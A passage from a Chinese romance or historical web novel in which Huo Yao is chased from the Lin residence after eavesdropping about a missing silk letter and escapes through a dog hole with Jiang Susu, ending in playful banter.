“还没。”
“确定落入霍府了？”
“是，在下确定。”
霍尧听到这里疑惑皱眉，什么绢信落入霍府了？
对此事他完全不知。
看来有人来霍府灭口就是为了绢信。
房顶长久失修，在霍尧拿到线索准备撤时脚下突然踩了一空，瓦片被踩了个洞砸到地上劈里啪啦作响。林卫立马意识到了派人追出去，打着火把追逐。
“给我追！先抓到刺客的人，重重有赏！”
“在那里！”有人看见了霍尧藏匿在柱子后的身影。
霍尧赶紧抬脚离开奈何腿被瓦片划伤了，跑的并不快，身后的人紧追，眼看要被抓到时一双无形的手伸出来将他拉进了藏身处。
他一抬眼，姜苏苏手抵在嘴唇上让他别出声，随后带着他走另一条路钻出去了。
出林府后，两人脑袋上沾了一脑袋的稻草杆，苏苏拍了拍身上的稻草，有一根钻嘴里了她呸了几下给弄了出来，霍尧看见忍不住笑出了声。
苏苏疑惑地看着他，“你笑什么啊？”
霍尧淡挑着眉，“没什么，就是想到人生第一次钻狗洞竟然是和你。”
苏苏挠了挠下巴，这有啥好笑的。
“你怎么知道哪儿有狗洞的？”
苏苏得意一笑，抬脚往前走，“想知道？叫声姐姐我就告诉你。”
霍尧顿了顿，想得美。
看他没跟上来，苏苏以为他生气了，停住脚转头，“我开玩笑的。”
霍尧强装自然地走过去，捏了捏她软软的脸蛋，“休想让我叫你姐姐。”
他环抱着手洒脱走了，苏苏揉着脸气鼓鼓地慢悠悠跟上去。
“霍尧——你好像变机灵了些欸。”
“小爷本来就不笨。”